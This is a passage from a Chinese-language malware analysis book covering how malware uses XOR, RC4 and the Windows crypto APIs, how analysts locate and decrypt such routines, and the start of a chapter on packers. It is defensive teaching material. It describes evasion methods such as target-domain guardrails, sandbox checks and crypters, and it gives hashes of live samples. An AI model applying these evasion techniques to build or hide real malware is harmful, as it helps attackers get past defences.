你可以使用反汇编器或调试器轻松发现恶意软件中的 XOR 指令;这条指令就是 xor。在 IDA Pro 中,一旦加载了你的恶意软件样本,导航到 搜索文本,输入 xor 作为搜索字符串,然后点击 查找所有出现的地方。图 16-7 显示了一些示例输出。

图 16-7:在 IDA Pro 中查看 XOR 指令
图中的第一个 XOR 操作对我们并不重要。将寄存器与其自身进行 XOR 运算会清除寄存器,将其设置为 0。这是可执行文件中 XOR 最常见的用法,它与加密并没有直接关系。
最下面的三条 xor 操作是我们关心的。在这些示例中,一个 CPU 寄存器正与一个内存地址进行 XOR 操作。在 xor al, [edx] 指令中,al 是寄存器,[edx] 是内存地址。在这种情况下,寄存器通常包含 XOR 密钥,正在与存储在内存中的数据进行 XOR 操作。反之亦然。
如果你在代码中发现了 XOR 操作,你可以通过定位代码中的目标加密数据和 XOR 密钥来解密这些数据。例如,在 xor al, [edx] 的情况下,你可以检查 al 寄存器来寻找 XOR 密钥。此外,检查 EDX 中的内存指针通常能帮助你找到被 XOR 操作的数据。在调试器中动态分析恶意软件有助于这一过程。
一旦你定位到数据和 XOR 密钥,你可以从文件中复制数据,并使用该密钥进行 XOR 操作。任何工具都可以实现这个操作,但我们再次使用 CyberChef。图 16-8 演示了使用 XOR 密钥 1A2D3F 的操作。

图 16-8:CyberChef 中的 XOR 解码
恶意软件通常会在执行代码之前先在内存中解密 XOR 加密的数据和代码。一种逆向工程策略是让恶意软件为你解密这些数据,然后获取它。你可以使用调试器进行操作,我将在《解密加密的恶意软件数据》一节中进一步讨论,第 339 页会详细说明。
顺便提一下,除了 xor 指令之外,还有一些其他基本方法,某些恶意软件用来混淆代码和数据,例如 ror(右旋转)和 rol(左旋转),它们只是将字节按特定数量的空间旋转到任意方向。举个例子,考虑指令 ror eax, 5。如果 EAX 寄存器的值是 12345678,当你将所有数字右移五位时,新值变为 45678123。所有数字已经右移了五个位置,因此被“推出”末尾的数字(4、5、6、7 和 8)现在出现在字符串的开头。rol 指令将执行此操作的反向操作。
Rivest Cipher 4
Rivest Cipher 4,简称 RC4,是恶意软件中最常用的流加密算法之一,因为它实现简单且相对强大(与基本的编码如 Base64 或甚至 XOR 相比)。它的基本工作步骤在图 16-9 中有说明。

图 16-9:RC4 工作原理概述
首先,算法创建了一个值数组,称为 Sbox,该数组包含 256 字节(或 0x100 的十六进制)。这是 Sbox 1。另一个 Sbox(Sbox 2)被初始化并包含加密密钥。RC4 密钥长度可以在 1 到 256 字节之间。这个密钥可以硬编码在恶意软件的可执行文件中,或者动态生成。
Sbox 1 和 Sbox 2 然后结合,它们的数据被多次打乱以创建一个半随机字节流。明文(正在加密的数据)接着与这个字节流进行异或操作,这本质上是一个异或密钥。当这个加密数据需要解密时,它会再次与相同的密钥流进行异或操作。
在处理代码中的加密和解密过程时,你可能能够轻松地识别出正在使用的某些算法。256 字节的数组是 RC4 使用的明显标志。你可能会看到 0x100 在代码中多次被引用,后面跟着循环,就像下面这段代码一样:
`--snip--`
loc_45B5F9:
`--snip--`
mov [eax], ebx
inc ebx
add eax, 4
❶ cmp ebx, 100h
❷ jnz short loc_45B5F9
loc_45B62A:
`--snip--`
xor eax, eax
mov al, [ebp+var_D]
mov [ebp+edi*4+var_418], eax
inc ebx
add esi, 4
❸ cmp ebx, 100h
❹ jnz short loc_45B62A
这个例子展示了 RC4 在恶意软件样本中的可能表现。第一段代码展示了 Sbox 1 数组的初始化,并进行与 0x100 ❶ 的比较操作。注意回到函数开始的跳转 ❷,表示一个循环。在第二段代码中,另一个对 0x100(Sbox 2)的引用及随后的比较操作 ❸,以及一个循环 ❹。这些代码中的两个函数循环通常能揭示出 RC4 的使用。
Windows CryptoAPI
Windows 提供了许多常见加密算法的实现,称为 Microsoft Cryptography API (CryptoAPI)。这个 API 支持多种常见的对称和非对称加密算法,并提供其他服务,如数字证书和哈希。CryptoAPI 还包括了一个在 Windows Vista 中出现的更新版本,称为 Cryptography API: Next Generation (CNG)。CNG 包含了 Windows 提供的最新加密库,增加了对现代算法的支持,以及对自定义加密 API 的支持。CNG 在 Windows 的新版本中大大取代了 CryptoAPI。尽管 CryptoAPI 已被弃用,但仍然值得讨论,因为它在恶意软件中仍然被广泛使用,且有着悠久的历史,容易理解。
CryptoAPI 函数
在初始化 CryptoAPI 时,应用程序必须调用的关键函数之一是 CryptAcquireContext。该函数负责返回一个指向加密服务提供者(CSP)的句柄,CSP 是一个执行加密和解密功能并存储相关加密密钥的模块。由于 CSP 是某些 Windows 程序的核心部分,它们受到严格控制。应用程序无法直接访问 CSP 的内部,所有操作都通过 API 函数调用间接进行。
表 16-6 描述了 CryptAcquireContext 以及在 CryptoAPI 中暴露的其他一些重要函数。
表 16-6: 重要的 CryptoAPI 函数
| 名称 | 描述 |
|---|---|
| CryptAcquireContext | 获取指向特定密钥容器的句柄,该容器是几乎所有加密操作的前驱。 |
| CryptGenKey | 为非对称加密生成公钥和私钥对,或者生成一个随机会话密钥。 |
| CryptGenRandom | 填充一个缓冲区以生成随机字节,有时用于生成密钥。 |
| CryptEncrypt | 加密来自明文缓冲区的数据。 |
| CryptDecrypt | 解密使用 CryptEncrypt加密的数据。 |
| CryptDestroyKey | 销毁密钥的句柄。这是一个常见的清理函数。 |
| CryptReleaseContext | 释放对 CSP 和相关密钥容器的句柄。这是一个常见的清理函数。 |
| CryptCreateHash | 启动数据流的哈希过程,并初始化一个哈希对象,用于存储哈希数据。 |
| CryptDestroyHash | 销毁哈希对象。这是一个常见的清理函数。 |
表中最有趣的函数是CryptEncrypt和CryptDecrypt。CryptEncrypt接受许多参数,例如加密密钥的句柄(通过CryptGenKey或CryptImportKey创建)和指向包含待加密明文数据的缓冲区的指针。如果你正在分析一个使用加密操作并调用CryptEncrypt加密数据的恶意软件样本,你可以在调试器中为此函数设置一个断点,并检查明文缓冲区,这样就能暴露正在加密的数据!你将在本章后面看到一个这样的例子。
开发人员通常会在这些加密函数周围添加封装器,以简化实现,这样软件开发者就不需要直接调用每个函数,从而减少编程错误。这一点非常值得注意,因为一些恶意软件作者直接在代码中调用加密库,而不是使用现有的封装器。由于恶意软件开发者实际上也是人类,容易犯错,直接调用这些 Windows 加密函数可能会给经验不足的恶意软件开发者带来问题。一个勒索软件家族,CryptoLocker,在实现 RSA 加密算法时存在一个缺陷,使得其加密的赎金文件容易被解密。Emsisoft 的研究人员发现 CryptoLocker 错误地实现了CryptAcquireContext。该函数的一个参数接受标志值,以启用额外功能。一个标志,CRYPT_VERIFYCONTEXT,必须被设置,否则生成的私钥会存储在本地主机上。这一缺陷对 CryptoLocker 来说非常麻烦。如果解密密钥存储在主机上,受害者只需知道存储位置,就能轻松恢复文件。这正是 Emsisoft 所做的,它恢复了许多受害者的文件。有关更多详情,请参见 Emsisoft 博客中的文章“CryptoDefense:不安全勒索软件密钥与自利博主的故事”(https://
Windows CryptoAPI 相当复杂,并且包含许多不同的功能。有关这些功能的更详细信息,请参阅微软在 MSDN 上的优秀文章“CryptoAPI 系统架构” (https://
CryptoAPI 实践分析
现在让我们看看 Windows CryptoAPI 在实际中的表现;具体来说,让我们检查一下如何实现哈希算法。这个恶意软件示例将获取受害系统所属的 DNS 域名,对其进行哈希处理,并将生成的哈希与硬编码的哈希进行比较:即恶意软件的目标域名。如果哈希值不匹配(意味着受害者的域名与目标域名不一致),恶意软件将不会感染受害系统。此外,将硬编码的域名以哈希形式存储,使得逆向工程师更难(甚至不可能)发现恶意软件实际寻找的域名。让我们通过以下伪代码进一步了解实际情况:
hashedTargetDomain = "4b557a3281181193f1b1fae7228314e77d174fa13b59f606c5400409f13875a2"; ❶
GetComputerNameExA(ComputerNameDnsDomain,domainName,dataSize); ❷
CryptAcquireContextA(&hCSP,0,0,0x18,0xf0000000); ❸
CryptCreateHash(hCSP,0x800c,0,0,&hHash); ❹
CryptHashData(hHash,domainName,dataLength,0); ❺
CryptGetHashParam(hHash,HP_HASHSIZE,hashSize,&dataLength,0); ❻
CryptGetHashParam(hHash,HP_HASHVAL,hashedDomainName,hashSize,0);
if (hHash != 0) { ❼
CryptDestroyHash(hHash);
}
if (hCSP != 0) { ❽
CryptReleaseContext(hCSP,0);
}
memcmp(hashedDomainName,hashedTargetDomain,0x20); ❾
在这个示例中,恶意软件首先定义其目标域名,victimcompany.com。该字符串的 SHA256 哈希值为 4b557a3281181193f1b1fae7228314e77d174fa13b59f606c5400409f13875a2,并存储在变量 hashedTargetDomain ❶ 中。接下来,恶意软件调用 GetComputerNameExA,并传入参数 ComputerNameDnsDomain 来获取感染系统的域名,结果将存储在名为 domainName 的内存缓冲区中 ❷。然后,恶意软件调用 CryptAquireContextA ❸,并传入以下参数:一个指针,指向将存储 CSP 句柄的内存位置,密钥容器名称(此处为 NULL),使用的 CSP(NULL 表示将使用默认的 Windows 提供程序),提供程序类型(0x18,表示 Microsoft 增强版 RSA 和 AES 加密提供程序),以及标志参数。大多数这些参数在此并不重要。最需要提及的是加密提供程序类型:在此情况下,使用的是 Microsoft 增强版 RSA 和 AES 加密提供程序,它支持多种哈希和加密格式。
注意
要查看 Microsoft 支持的完整加密提供程序类型列表,请参见 learn.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-types。
在恶意软件获取密钥容器的句柄后,它接着调用 CryptCreateHash 创建哈希对象的句柄 ❹。在生成哈希之前,必须创建该哈希对象。该函数接受以下参数:新创建的加密服务提供程序的句柄 (hCSP),算法 ID (x800C 或 CALG_SHA_256),哈希密钥,一个可选的标志值,以及指向新哈希对象句柄的指针 (hHash)。由于恶意软件为算法 ID 参数传入了 CALG_SHA_256 的值,因此可以推测恶意软件正在使用 SHA256 哈希算法。
最终获取受害者域名的哈希值时,恶意软件调用 CryptHashData 从域名字符串 ❺ 创建哈希。当恶意软件调用 CryptHashData 函数时,它传递以下参数:先前创建的哈希对象句柄 (hHash),指向包含要哈希数据的缓冲区的指针 (domainName),哈希数据的长度,以及一个可选的标志值。调用该函数后,域名的哈希值将存储在哈希对象中。
要检索哈希数据,恶意软件必须调用 CryptGetHashParam ❻。CryptGetHashParam 的参数如下:哈希对象的句柄 (hHash),查询类型(请求的数据类型,如哈希大小或哈希值),指向接收请求数据的缓冲区的指针,返回数据的大小,以及一个可选的标志值。该恶意软件调用 CryptGetHashParam 两次:第一次获取哈希数据的大小,第二次获取实际的哈希数据(即受害者域名的哈希值)。在此函数的末尾,恶意软件调用 CryptDestroyHash 销毁哈希对象 ❼ 并调用 CryptReleaseContext 释放密钥容器和 CSP 的句柄 ❽。这些是标准的清理函数。
最后,恶意软件必须将硬编码的哈希值与受害者域名的哈希值进行比较,以确定受害者是否是其正确目标。为此,恶意软件调用了 memcmp,即内存比较,这是一个比较内存中两个值的函数 ❾。正在比较的值是 hashedDomainName 和 hashedTargetDomain。如果这些值匹配(意味着主机是恶意软件的目标域的一部分),恶意软件将继续感染该主机。如果不匹配,恶意软件将终止自身。
这个恶意代码示例使用了一个 护栏,这是恶意软件作者为避免感染意外受害者而设置的安全措施。这种类型的护栏还可以作为沙盒规避技术,因为恶意软件在没有它需要的域名的沙盒环境中无法正常执行。
Windows 加密 API: 下一代
由于它仅仅是对 CryptoAPI 的更新,CNG 在功能上非常相似。然而,几乎所有 CNG 函数都以 B 为前缀,这有助于区分这两个 API。例如,CryptEncrypt 是 CryptoAPI 的一部分,而 BCryptEncrypt 是 CNG 的一部分。表 16-7 列出了你可能在恶意软件中看到的一些常见 CNG 函数。
表 16-7: 重要的 CNG 函数
| 函数 | 描述 |
|---|---|
| BCryptOpenAlgorithmProvider | 初始化一个加密提供程序。这与 CryptAcquireContext 在 CryptoAPI 中的功能非常相似。 |
| BCryptGenerateKeyPair | 初始化一个用于非对称加密的公私钥对。 |
| BCryptGenerateSymmetricKey | 生成对称加密的密钥。 |
| BCryptEncrypt | 加密明文数据。 |
| BCryptDecrypt | 解密数据。 |
| BCryptDestroyKey | 销毁一个密钥对象。这是一个常见的清理函数。 |
由于它与 CryptoAPI 相似,本书中不会详细介绍 CNG。有关更多信息,请参见 Microsoft 知识库中的“Cryptography API: Next Generation”页面(https://
现在我们将讨论一些可以应用于克服恶意软件加密的技巧。
克服恶意软件加密的实用技巧
当面对一个使用加密来混淆其字符串、代码或网络通信的恶意软件样本时,你通常需要确定这些加密操作发生的位置,以揭示恶意软件的意图。本节将提供一些关于如何在恶意软件代码中定位和识别加密函数的通用和实用建议,也许还能揭示恶意软件作者不希望你看到的数据。
定位和识别加密例程
通常,有几种方法可以在恶意软件中定位和识别加密算法。首先,你可以在代码中找到与特定算法匹配的行为。例如,在 RC4 中,如前所述,两个 256 字节(0x100)数组及其相关的循环通常是显而易见的线索。你还可以检查恶意软件的代码中常用于加密算法的常见指令,如xor和rol。这是一种更通用的方法,但它对于定位许多类型的算法甚至是自定义实现非常有用。最后,寻找对 CryptoAPI 或 CNG 函数的调用,例如CryptEncrypt,也能提供线索。
有几种工具可以帮助你大大提高定位和识别加密例程的效率。CAPA(在第三章中介绍过)可以对二进制文件进行基本的代码分析,并提供大量有用的信息,帮助你指导手动分析恶意软件样本的代码。CAPA 还可以定位恶意软件中使用的加密算法,如图 16-10 所示。

图 16-10:在 CAPA 中查看 RSA 使用情况
在这里,你可以看到这个样本(恰好是 Ryuk 勒索病毒家族的一个变种)使用了 RSA 非对称加密。CAPA 甚至向我们展示了该数据在代码中的位置(函数 0x13F4E6018)。
同样,在图 16-11 中,CAPA 在另一个样本中定位到了 RC4 加密。

图 16-11:在 CAPA 中查看 RC4 使用情况
在这个提取片段中,CAPA 已经识别出恶意软件样本中的加密代码。具体来说,它发现了可能与 RC4 相关的代码,以及几个相关的 CryptoAPI 调用(CryptDeriveKey、CryptAcquireContext 和 CryptDecrypt)。
IDA Pro 和 Ghidra 反汇编器都提供用于定位和识别加密例程的插件。虽然 CAPA 是一个更中立的工具,不需要反汇编器,但使用反汇编器插件的优势在于,你可以快速检查包含有趣加密功能的代码。
下面是两个 IDA Pro 的插件:
-
FindCrypt2(https://
hex )-rays .com /blog /findcrypt2 / -
IDA Signsrch(https://
github ).com /nihilus /IDA _Signsrch
下面是两个 Ghidra 的插件:
-
FindCrypt(https://
github ).com /d3v1l401 /FindCrypt -Ghidra -
FindCrypt(更新版;https://
github ).com /TorgoTorgo /ghidra -findcrypt
图 16-12 展示了第一个 Ghidra FindCrypt 插件的使用情况。

图 16-12:使用 FindCrypt Ghidra 插件定位加密代码
FindCrypt 已经找到了两个可能使用的哈希算法(SHA_1 和 MD4),并打印出数据可能所在代码的偏移量。请记住,像这些开源工具始终在变化;开发者可能随时停止维护它们。最好不断寻找新的工具和插件,帮助你进行恶意软件分析。
有时恶意软件样本可能使用自定义的加密算法,或者是经过重度修改、混淆或不常见的算法。这时,通用的加密/解密例程识别就更加有用。这些加密例程通常遵循相似的模式。
首先,待加密或解密的数据将被加载,通常是通过 mov 操作。以下恶意软件代码展示了数据(ebp+encrypted_data)被移动到寄存器(ebx)中:
sub_decryptData:
mov ebx, [ebp+encrypted_data]
接下来,对数据进行计算。几乎总是会涉及到代码中的循环,可能会有数学指令(如 add、sub、mul、imul 和 div),以及 xor 或移位指令(shl、shr 等):
xor ebx, [ebp+xor_key]
最后,经过处理的数据会被存储以供后续使用:
❶ mov [ebp+decrypted_data], ebx
dec ecx
❷ cmp ecx, 100
❸ jnz sub_decryptData
在这种情况下,恶意软件正在将新解密的数据移动到堆栈❶。可能还会有一个或多个循环和循环计数器❷,这些会跳回到数据读取指令,并加载更多数据进行解密❸。
那么,当你发现加密数据后,你该怎么做呢? #### 解密加密的恶意软件数据
假设你已经找到了并可能识别出了恶意软件样本中的加密算法;该恶意软件包含的加密数据将在运行时使用该算法进行解密。处理这种情况有两种方法:静态和动态。
静态解密
静态解密允许你在不运行恶意软件的情况下解密恶意软件可执行文件中的目标数据。静态解密的优势在于,你可以对恶意软件文件进行批量解密,节省了大量的时间和精力,尤其是在你需要一次性调查多个样本时。静态解密的挑战在于,你必须反向工程恶意软件中的加密例程,这个过程可能很简单,也可能非常困难,取决于所使用的加密算法以及其实现方式。恶意软件作者还可以在不同的恶意软件样本之间更改加密密钥或算法,这可能会削弱上述“批量处理”的优势。
要进行静态解密,你首先需要识别使用的加密算法和所需的加密密钥,这些通常是硬编码在恶意软件中或存储在内存中的。Python API PyCrypto(https://
动态解密
动态解密涉及运行恶意软件(或模拟恶意软件中的代码),让恶意软件解密其秘密,并使用调试器等工具“捕获”解密后的数据。动态解密的优点是它通常比静态解密方法更节省时间,并且是快速获取你想要的数据的好方法。缺点是,动态解密在大规模操作时更为困难,而且恶意软件通常通过反分析陷阱保护其加密数据。
让我们通过两个分析场景来讲解一些技巧,帮助你快速动态解密恶意软件的秘密。这些技巧是通用的,无论恶意软件使用何种加密算法都适用。
解密的代码和数据捕获
恶意软件可能包含在运行时动态解密的代码,这有助于它逃避基于主机的防御,并使逆向工程变得更加困难。当恶意软件采用这些技术时,识别解密数据的最有效方法是捕获解密后的数据!在下一个示例中,这个恶意软件样本在内存中解密了 shellcode 并执行它。让我们看看能否在 shellcode 解密后捕获它。
注意
本示例使用的恶意软件可执行文件可以通过 VirusTotal 或 MalShare 下载,使用以下文件哈希值:
SHA256: db136799d9e0854fdb99b453a0ebc4c2a83f3fc823c3095574832b6ee5f96708
首先,将样本加载到你选择的反汇编工具中。我使用的是 IDA Pro。要识别该样本使用的加密算法并定位解密代码,你可以使用类似 CAPA 的工具,或者你可以直接使用反汇编工具的搜索功能搜索xor操作。图 16-13 展示了 IDA Pro 中这个 XOR 搜索的一部分输出。

图 16-13:在 IDA Pro 中查看 xor 指令
在这个可执行文件中有很多xor指令,其中大多数是良性的。记住,用相同的寄存器对另一个寄存器进行异或操作基本上会清除该寄存器的内容。所以,xor eax, eax、xor ecx, ecx和xor edx, edx对我们来说不值得关注。让我们通过双击条目来查看指令xor [esi], al。图 16-14 展示了结果。

图 16-14:在 IDA Pro 中查看加密例程
该代码块包含多个数学指令,如 xor 和 add。还包含一些 mov 指令,似乎在移动数据,以及 inc、dec 和 jnz,表示有一个循环。乍一看,这似乎是一个加密函数!
如果你检查我们当前所在函数上方的代码块,你可能会看到一些额外的加密标识。这里有一条 cmp ebx, 100h 指令,以及另一个看似循环的结构,如 图 16-15 所示。

图 16-15:在 IDA Pro 中查看 RC4 循环
此外,在偏移量 0x0045B684,还有另一个循环和 cmp ebx, 100h 指令,如 图 16-16 所示。

图 16-16:IDA Pro 中的另一个 RC4 循环
这看起来像是 RC4。现在我们可能已经找到了正在使用的加密例程,我们可以确定数据将在代码中的哪个位置完全解密,然后在调试器中设置该地址的断点,等待数据解密!首先,我们应该确定在哪里设置断点。我们当前所在的函数是 sub_45B794。如果你在 IDA Pro 反汇编器或图形视图中选择该函数并按 X,你将找到指向它的交叉引用列表(即,其他调用 sub_45B794 的函数)。双击列表中的该函数。
你应该能看到指令 lea ebx, [ebp+var_BEEP],如图所示:
`--snip--`
call sub_45B5AC
call GetConsoleCP
lea edx, [ebp+var_BEEP]
`--snip--`
这条 lea 指令正在将一个地址加载到 EDX 寄存器中。这很有趣,因为它紧接在我们刚刚研究的 RC4 解密函数后面(sub_45B5AC)。这条 lea 指令的地址是 0045B850。这是一个很好的调试器断点目标。
在调试时,我会使用 x64dbg。你也可以使用 IDA Pro 中的内置调试器或你选择的其他调试器。将样本加载到调试器中,选择运行到用户代码(跳转到恶意软件代码的起始位置),在感兴趣的代码上设置断点(bp 0045B850),然后运行(按下键盘上的 F9 键)。这个特定样本会在执行感兴趣的代码之前休眠约 10 秒(见图 16-17)。

图 16-17:在 x64dbg 中设置断点于解密后的代码
一旦断点被触发,右键点击[ebp-BEEP],选择跟踪到转储地址:EBP-BEEP。如图 16-18 所示,我们现在应该能够在转储窗口中看到解密后的数据!

图 16-18:查看在 x64dbg 中转储的解密代码
不幸的是,这些数据不容易被人类阅读。让我们进一步检查它。通过右键点击转储窗口并选择在内存映射中跟踪来提取这些数据。然后,右键点击高亮显示的内存区域(它将在内存映射窗口中以灰色高亮显示),选择将内存转储到文件。
如果你对文件运行strings命令,或者使用像 PEStudio 这样的 PE 字符串工具,你会看到一些字符串,但没有太多有趣的内容。然而,通过使用字符串去混淆工具 FLOSS(你可能还记得它来自第二章),我们可以解混淆一些数据。你可以像这样运行 FLOSS 工具:
> **floss –-format sc32 shellcode_dump.bin**
这里我们告诉 FLOSS 将此文件视为 32 位的 shellcode。你可以看到 FLOSS 的输出,它恢复了 52 个栈字符串:
FLOSS extracted 52 stackstrings
vbox
Set WshShell = CreateObject("WScript.Shell")
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\...
Ident
advapi32
VboxGuest.sys
vmware
virus
`--snip--`
sandbox
sample
`--snip--`
看起来这款恶意软件正在动态地在栈上构建字符串,以混淆其数据。你可能会在此输出中发现一些可疑的字符串;注意其中提到的沙箱和虚拟机的引用。实际上,这段代码是恶意软件的 shellcode,它会解密后执行,进行一些基本的沙箱检查。然而,我们不会深入这些细节;这个示例仅用来展示动态解密的价值。这个技巧不仅适用于 RC4,也适用于许多其他算法。
加密前捕获代码和数据
恶意软件通常采用加密技术来混淆网络流量,例如与 C2 服务器的通信。如图 16-19 所示的恶意软件样本调用BCryptEncrypt来加密其 C2 信息,然后将数据发送到其控制基础设施。为了捕获明文数据,我只需在BCryptEncrypt上设置一个断点。

图 16-19:在 x64dbg 中设置断点以调试 BCryptEncrypt
注意
你可以在 MalShare 或 VirusTotal 上通过以下哈希值找到这个样本:
SHA256: b2562b0805dd701621f661a43986f9ab207503d4788b655a659b61b2aa095fce
对于BCryptEncrypt,栈上的第二个值是指向包含待加密明文数据的缓冲区的指针。这些数据似乎是我的虚拟机主机名(见图 16-20)。

图 16-20:在 x64dbg 中查看待加密的数据
请记住,CryptEncrypt和BCryptEncrypt函数用于加密数据,而CryptDecrypt和BCryptDecrypt函数用于解密数据。这些函数对于恶意软件分析人员非常有用。只需在调试器中对这些函数设置断点,允许函数运行,检查包含数据的缓冲区,你就能节省大量的分析工作!
总结
本章讨论了恶意软件可能使用的编码、哈希和加密技术,用于混淆其代码和数据,从而增加分析和逆向工程的保护层,并增加一种规避防御的技术。希望你从中获得了一些有用的技巧,可以在调查使用这些战术的恶意软件时派上用场。在下一章中,我们将探讨另一种恶意软件混淆形式:打包器。
第十八章:17 打包器与解包恶意软件

现代恶意软件需要内置保护措施,以避开现代的终端和网络防御。理想情况下,这些保护措施还会妨碍逆向工程,并帮助保护恶意软件的负载和内部结构不被调查人员发现。一种选择是打包器,这是一种为软件增加混淆和保护的工具。你在实际环境中可能遇到的许多恶意软件样本都会被打包,因此熟悉它们非常重要。本章将介绍各种类型的恶意软件打包器、它们的架构、工作原理,最重要的是,如何绕过它们以访问其中包含的恶意代码。
打包器的类型
当最初设计打包器时,它们本身并没有恶意。它们只是用于压缩诸如可执行文件之类的文件。然而,一旦恶意软件开始使用打包程序,打包器这个词便与恶意软件同义。
打包器有多种类型。我将称最常见的一种为通用打包器,它通常是免费的、开源的,或者以其他方式广泛可用。通用打包器的例子包括 NSPack、MPRESS 和 UPX(可执行文件的终极打包器),这些都可以自由获取,包括恶意软件作者。恶意软件使用通用打包器的缺点(至少对于作者来说)是,它们通常非常容易通过自动化工具或手动分析解包,因为它们并没有设计用于反分析。不过,一些恶意软件样本会使用这些简单的打包器,作为为其负载提供基本混淆的快捷且廉价的方式。
第二种类型的打包器包括商业打包器,如 VMProtect、Themida 和 Armadillo。也被称为保护器或混淆器,这些打包器最初是为了保护合法软件的知识产权而创建的。由于它们的设计投入了大量研究,商业打包器通常非常难以解包。幸运的是,它们并不像恶意软件那样普遍用于保护。
最后,最后一种打包器是专门为恶意软件设计的。这些打包器,有时被称为加密器,通常由威胁行为者或附属组织开发,并在黑客论坛上出售。此类打包器的示例有 Warzone、Atilla 和 Softinca Crypter,最后一个在图 17-1 中展示。

图 17-1:Softinca Crypter 的界面
Softinca Crypter 接收一个可执行文件(未解压的恶意负载)作为输入,添加保护措施,如代码混淆和隐藏负载执行的能力,以避免受害者察觉,然后生成打包后的可执行文件。
注意
由于打包程序通常作为保护工具、混淆器和加密器的统称,本章中我将遵循这一惯例。
打包程序架构与功能
当恶意软件可执行文件通过打包程序运行时,该程序会加密并压缩可执行文件中的各个 PE 部分(.text、.data、.rdata、.rsrc 等)。打包程序还会添加一个解包存根,这通常是一个小的代码段,负责在目标主机上运行后解密可执行文件的各个部分。 图 17-2 展示了这一过程。

图 17-2:恶意软件打包过程
你可以在 图 17-2 中看到,解包后的恶意软件可执行文件正在通过打包程序运行,该程序将其代码和数据加密(或打包)。解包存根也被添加到打包文件中。在受害者主机上运行时,解包存根解密打包的代码和数据,将解包后的有效载荷加载到内存中,并通过将控制流转移到原始入口点(OEP)来执行有效载荷,如 图 17-3 所示。

图 17-3:打包的恶意软件正在解包到内存中
让我们更深入地了解这个过程。
解包恶意软件有效载荷
在恶意软件的有效载荷可以执行之前,它必须被解包。解包存根必须将原始可执行文件的代码和数据解密(或去混淆)到内存中。对于大多数 Windows 可执行文件,这通常涉及对打包的可执行文件执行解密和解压算法,使用 Windows API 函数(如 VirtualAlloc)分配内存空间,并将解包后的可执行文件写入新的内存区域。
解包可以分为一个或多个阶段。一般的打包程序,如 UPX,简单地在内存中解包可执行文件并运行它。其他打包程序,尤其是为恶意软件设计的定制打包程序,可能有多个解包阶段,如 图 17-4 所示。

图 17-4:使用多阶段解包的恶意软件
图 17-4 中显示的简化过程展示了一个压缩恶意软件样本解包代码段 1,它解包代码段 2,后者又解包代码段 3。通过分段解包代码,恶意软件可以规避宿主防御措施,这些防御措施通常会在内存中查找整个恶意代码。这种解包例程还使恶意软件分析过程更加复杂,因为分析人员将更难理解解包过程并识别恶意软件解包到内存中的所有位置。
解析导入
一旦恶意软件的有效载荷被解包到内存中,解包存根必须解析原始可执行文件的导入。请记住,导入是 Windows 库(DLL),允许可执行文件在 Windows 环境中运行。当恶意软件样本通过打包程序运行时,导入地址表(IAT)通常会被混淆或隐藏,以掩盖程序的意图并更好地规避防御。这一 IAT 必须被重建,以便恶意软件的解包可执行文件能够按原定意图运行。
压缩的恶意软件通常只在其 IAT(导入地址表)中包含几个条目,包括LoadLibrary和GetProcAddress函数。这两个函数通常用于加载附加库、解析函数地址,并重建原始可执行文件的 IAT。LoadLibrary函数加载原始恶意软件可执行文件所需的每个库,而GetProcAddress函数获取每个所需函数的地址。如果你遇到一个 IAT 中只列出了少数几个库的可执行文件,你应该保持警惕。
打包工具也可能删除所有导入,留下一个空的 IAT。这是最隐蔽的方式,但解包存根需要做大量工作来解析所有导入。它首先获取LoadLibrary和GetProcAddress函数的地址,然后加载每个库并解析解包后的有效载荷操作所需的每个函数地址。
另外,某些打包工具根本不会重建原始 IAT。在这种情况下,导入和地址解析过程必须完全由解包后的恶意软件自己处理。如果是这种情况,你将看到恶意软件很可能会在解包过程完成之后使用LoadLibrary和GetProcAddress来解析其导入。
转移执行到 OEP
最后,一旦恶意软件被解包并且 IAT(导入地址表)重建,解包的存根必须将执行从其自身的代码转移到可执行文件的 OEP(原始入口点)。OEP 是解包后的恶意软件有效载荷开始执行其代码的地方。这个执行转移,通常称为尾跳转或尾跳,通常以跳转(jmp)、返回(ret)或 call 指令的形式出现在解包存根的末尾。一旦执行到这条指令,程序控制将转移到内存中的解包代码,解包后的恶意软件有效载荷最终开始运行。
许多加壳器,尤其是专门为恶意软件加壳设计的加壳器,会实现某种形式的代码注入技术,以尝试绕过防御机制并隐藏在主机上。例如,加壳器可能会在受害主机的某个进程内分配内存,将解包后的代码写入该内存,并将执行转移到这段代码。此时,你可能会发现一些与进程注入技术和相关函数相关的内容,具体内容可以参见第十二章。这是一个需要记住的重要点,稍后我们将在本章中再次提到。
接下来,让我们看看如何识别恶意软件是否被加壳。
如何识别加壳的恶意软件
在开始解包恶意软件样本之前,你必须先确定它是否真的被加壳。可以通过几种方式来判断。
查看导入项
确定样本是否被加壳的最简单有效的方法之一是检查文件的导入项。你可以使用几乎任何 PE 文件查看工具来执行此操作,例如 CFF Explorer、PEStudio 和 PE-bear。加壳的恶意软件可能只有少数几个导入的库和函数。图 17-5 中的 PEStudio 截图展示了加壳的恶意软件可能的样子。

图 17-5:在 PEStudio 中查看加壳的恶意软件样本
注意,列出的函数子集非常有限,其中有两个是 LoadLibraryA 和 GetProcAddress。相比之下,在图 17-6 中,你可以看到一个解包后的恶意软件样本的导入列表。

图 17-6:在 PEStudio 中查看解包后的恶意软件样本
很明显,图 17-6 中的恶意软件样本有更多的导入项。同样,如果恶意软件只有有限的导入项列表,那么它很可能是被加壳的。
检查字符串
另一个判断样本是否被打包的好方法是检查它的字符串。打包的恶意软件要么有许多不可读的字符串,要么几乎没有任何字符串。这是因为在打包过程中,打包器会压缩、加密或以其他方式混淆文件中的数据,使得分析更加困难,并绕过防御措施。图 17-7 中的 PEStudio 截图展示了打包恶意软件字符串的可能样子。

图 17-7:打包恶意软件样本的字符串
相比之下,未打包的样本应该有许多明文(已去混淆)的字符串。
计算熵值
打包的恶意软件通常会有较高的熵值。熵是数据随机性的度量。高熵表示数据可能已被加密或压缩,在打包的背景下,这意味着样本很可能是打包过的。最大可能的熵值是 8;文件的熵值越接近这个值,它被打包的可能性就越大。
有许多工具可以计算恶意软件可执行文件的熵值,但我再次使用了 PEStudio 作为示例。图 17-8 展示了一个打包恶意软件样本的熵值。

图 17-8:在 PEStudio 中查看打包恶意软件的熵值
一个好的经验法则是,打包的可执行文件熵值大约为 6 或更高。低于这个值的文件,文件被打包的可能性较低。
注意
请记住,某些非 PE 文件(如文档文件)通常会有较高的熵值,因此“6 或更高”这一经验法则仅适用于 PE 文件。
检查 PE 节
